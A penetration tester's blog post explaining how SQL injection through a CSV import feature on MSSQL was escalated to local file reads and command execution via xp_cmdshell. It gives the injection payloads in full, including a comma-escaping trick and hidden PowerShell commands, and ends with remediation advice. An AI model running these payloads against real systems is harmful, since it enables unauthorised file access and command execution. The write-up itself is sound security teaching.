This blog post explains the process that we followed in a recent penetration test to gain command execution from a CSV import feature. One of the most challenging issues was that we had to escape commas during the SQL injection attack, as it would break the CSV structure.
- Application imports entries from file (CSV, Excel, etc) to the database
- Typically the parsers used for this importation read every entry “as is” in the file.
- In the case of CSV, documents entries are separated by a delimiter character (typically comma).
More often than not entries read from files do not go through the same sanitisation and validation functions as web application requests.
Example of a CSV entry:
In this case, the parser expected some entries to be of a specific type; thus some entries were populated with expected types to bypass this restriction.
SQL vulnerability identification:
A SQL injection issue was identified when a crafted file was uploaded to the web application.
– The following file was sent:
Unclosed quotation mark after the character string '.
This is a SQL error! – let’s start early celebrations!
– File sent:
Conversion failed when converting the nvarchar value ‘Microsoft SQL Server 2008 R2 (RTM) – 10.50.1617.0 (Intel X86) Apr 22 2011 11:57:00
Copyright (c) Microsoft Corporation Express Edition with Advanced Services on Windows NT 6.1 <X86> (Build 7601: Service Pack 1) to data type int.
This is definitely working! – celebrations continue …
Only SQL errors were returned to the user. If the statement had no errors it just displayed importation failed/completed.
Moreover the importation was a two step process – not easily automated with sqlmap and time was running out.
I’ll spare you the rest of the details of this step – Info gathered: database version and database user (dbo)
Escalation – Reading local files:
In MSSQL the file must be imported into a table and read from there.
* Alternatively OPENROWSET can be used instead of BULK INSERT.
– File Sent:
Copy the contents into our table:
1,SEC,FORCE,,,firstname.lastname@example.org,1';drop table SecforceTBL;CREATE TABLE SecforceTBL (line varchar(MAX));BULK INSERT SecforceTBL FROM `c:\\windows\\win.ini` WITH (ROWTERMINATOR = '\\ 0');-- ,
– Reading the contents back:
1,SEC,FORCE,,,email@example.com,1'+ char((SELECT TOP 1 * FROM SecforceTBL))+' ,
ROWTERMINATOR is EOF (backslash 0) because life is too short to read a file line by line. The first CSV entry (SQL query) imports the whole file in one line. The second entry triggered the error and returned the result
This worked for most files but then disaster! – … celebrated too soon!
The file was there but I couldn’t read it
String or binary data would be truncated.
__ This was not because the row couldn’t hold the data (could be the case) but the SQL error string cannot be bigger than 4000 chars!__
There is a workaround to this eventuality. It’s certainly not pretty, but it worked:
write output to file – read specific lines with powershell and write them to another file, then import it to the database:
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -command dir c:\\ > c:\\temp\\1.tmp &&
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -command (Get-Content c:\\temp\\1.tmp)\[0..10\] > c:\\temp\\2.tmp
Or make a new table (SecforceTBL2) insert only 4000 chars into previous table (SecforceTBL) and trigger error as before – needs to use the comma bypass as above:
INSERT INTO SecforceTBL VALUES (SUBSTRING((select top 1 * from SecforceTBL),0,4000))
Escalation – Command execution through xp_cmdshell:
First of all, we verify whether xp_cmdshell is enabled.
[…]1'+char(( SELECT cast(value as varchar(1)) FROM sys.configurations WHERE name = 'xp_cmdshell'))+'1
[…]1'+char(( SELECT cast(value_in_use as varchar(1)) FROM sys.configurations WHERE name = 'xp_cmdshell'))+'1
In this case, xp_cmdshell was not enabled, so we had to enable it.
* Also try ‘show advanced options’ etc.
The application connected to the database as dbo, therefore we should be able to enable it – easy!
EXEC sp_configure 'show advanced options', 1;
EXEC sp_configure 'xp_cmdshell', 1;
Well not so fast… The comma in the SQL code shown above would naturally break the CSV parser. In order to escape the comma character, we need to declare a variable that will hold the SQL query string and execute with master..sp_executesql:
[…]1'; DECLARE @sql NVARCHAR(500); set @sql = 'EXEC sp_configure "xp_cmdshell" 'CHAR(44)' 1'; exec master..sp_executesql @sql; RECONFIGURE;--
After launching the requests shown above, the configuration showed ‘1’ but every command to connect to the outside fails (not even DNS). – ... never celebrate too early!
Command with 30 seconds delay:
[…]1';exec master.dbo.xp_cmdshell 'ping 192.0.2.2 -n 1 -w 30000';--
It took 30 Sec to reply – awesome!
but the box is completely firewalled – not awesome!
Escalation – write a webshell on the web server root:
Some command line fu and we can see the results of the commands (see reading files below):
[…]1';exec master.dbo.xp_cmdshell 'dir c:\\ > c:\\temp\\1.tmp' ;drop table SecforceTBL;CREATE TABLE SecforceTBL (line varchar(MAX));BULK INSERT SecforceTBL FROM 'c:\\temp\\1.tmp' WITH (ROWTERMINATOR = '');--
[…]1'+char((SELECT TOP 1 * FROM SecforceTBL ))+'1
Just a matter of finding the webserver root
List all drives command:
wmic logicaldisk get name
Read the IIS configs to find the server root.
In this case, we discovered that the database server was hosted in a different host and the web server was not accessible:
… and TIME was up!
MORAL OF THE STORY:
Sanitise ALL input – In general all input should be treated the same way.
For the SQLi vulnerability the easiest fix would be to use parametrised queries, this would prevent SQL injection attacks without having to add an extra layer of sanitisation.
Lastly, having the database server in a DMZ zone and segregated from the web server prevented this attack from escalating any further.